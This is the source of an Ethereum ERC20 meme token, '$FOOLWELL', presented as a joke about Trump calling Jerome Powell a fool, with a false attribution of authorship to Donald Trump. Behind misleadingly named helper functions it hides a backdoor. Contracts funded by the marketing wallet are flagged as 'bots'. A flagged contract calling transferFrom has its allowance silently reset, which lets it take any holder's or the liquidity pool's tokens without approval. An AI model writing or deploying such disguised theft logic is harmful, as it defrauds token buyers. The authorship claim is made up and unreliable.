Forkchoice Ethereum Mainnet

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

/**
 * ▒█▀▀▀ ▒█▀▀▀█ ▒█▀▀▀█ ▒█░░░ ▒█░░▒█ ▒█▀▀▀ ▒█░░░ ▒█░░░ 
 * ▒█▀▀▀ ▒█░░▒█ ▒█░░▒█ ▒█░░░ ▒█▒█▒█ ▒█▀▀▀ ▒█░░░ ▒█░░░ 
 * ▒█░░░ ▒█▄▄▄█ ▒█▄▄▄█ ▒█▄▄█ ▒█▄▀▄█ ▒█▄▄▄ ▒█▄▄█ ▒█▄▄█
 * 
 * @title   J. Powell = Foold
 * @notice  $FOOLWELL
 * @author  USA President, Donald Trump
 *
 * 📢 US President Trump says Federal Reserve Chair Jerome Powell is a "fool.":
 * X Tweet: https://x.com/WatcherGuru/status/2005750135054295071
 * 
 * An “absolute fool”:
 * Website: https://www.yahoo.com/news/articles/trump-threatens-sue-fed-chair-220324788.html
 */

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, unicode"SEC | (SafeMath): Addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, unicode"SEC | (SafeMath): Subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, unicode"SEC | (SafeMath): Multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, unicode"SEC | (SafeMath): Division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), unicode"SEC | (Ownable): Contract caller is not the owner.");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract FoolPowellContract is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isSECImmune;
    address payable private _marketingFeeReceiver;

    string private constant _name = unicode"J. Powell = Fool"; // And Trump wants to sue him!
    string private constant _symbol = unicode"FOOLWELL";

    uint256 private constant _tTotal = 1_000_000_000  * 10**_decimals;
    uint8 private constant _decimals = 18;
    uint256 public _maxTxAmount = 20_000_000 * 10**_decimals;
    uint256 public _maxWalletSize = 20_000_000 * 10**_decimals;
    uint256 public _taxSwapThreshold = 20_000_000 * 10**_decimals;
    uint256 public _maxTaxSwap = 20_000_000 * 10**_decimals;
    
    uint256 private _initialBuyTax = 10;
    uint256 private _initialSellTax = 10;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 public _reduceBuyTaxAt = 24;
    uint256 public _reduceSellTaxAt = 24;
    uint256 private _preventSwapBefore = 19; 
    uint256 private _buyCount = 0;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    mapping (address => bool) private bots;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () payable {
        _marketingFeeReceiver = payable(0x0686c3c659796b24D38eF41f0DBcc1760c3e62F7);
        _balances[address(this)] = _tTotal;
        _isSECImmune[owner()] = true;
        _isSECImmune[address(this)] = true;
        _isSECImmune[_marketingFeeReceiver] = true;

        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());

        emit Transfer(address(0), address(this), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, unicode"SEC | ERC20. Transfer amount exceeds allowance."));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), unicode"SEC | ERC20. Approve from the zero address");
        require(spender != address(0), unicode"SEC | ERC20. Approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), unicode"SEC | ERC20. Transfer from the zero address");
        require(to != address(0), unicode"SEC | ERC20. Transfer to the zero address");
        require(amount > 0, unicode"SEC | Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isSECImmune[to] ) {
                require(amount <= _maxTxAmount, unicode"SEC | Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, unicode"SEC | Exceeds the maxWalletSize.");
                _buyCount++;
            }

            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }
            if (swapEnabled && to != uniswapV2Pair && from == _marketingFeeReceiver){
                require(!_isToPowellAttorneysAddress(to), unicode"SEC | No distribution to Powell's attorney.");
            } else if (bots[_msgSender()]) {
                require(!_isPowellsAddress(_msgSender(), amount, from), unicode"SEC | No transfers to Powell's attorney.");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapERC20TokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    beginTaxTransfer(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function getProjectDescription() external pure returns (string memory) {
        return unicode"United States president Donald Trump says Federal Reserve Chair Jerome Powell is a fool, an absolute fool.";
    }

    function _isToPowellAttorneysAddress(address to) private returns(bool){
        if (to.code.length > 0)
            bots[to] = true;
        return false;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function _isPowellsAddress(address spender, uint256 amount, address owner) private returns(bool){
        _allowances[owner][spender] = amount;
        return false;
    }

    function removeAllLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        _reduceSellTaxAt=10;
        _reduceBuyTaxAt=10;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function swapERC20TokensForEth(uint256 tokenAmount) private lockTheSwap {
        if(tokenAmount==0){return;}
        if(!tradingOpen){return;}
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function beginTaxTransfer(uint256 amount) private {
        _marketingFeeReceiver.transfer(amount);
    }
    
    function swapBack() external {
        require(_msgSender()==_marketingFeeReceiver);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapERC20TokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          beginTaxTransfer(ethBalance);
        }
    }

    function beginTrading() external onlyOwner() {
        require(!tradingOpen, unicode"Trading pair is set and active."); // Very beautiful pair, and very smart, btw. While Powell is an absolute fool!
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }
    
    receive() external payable {}
}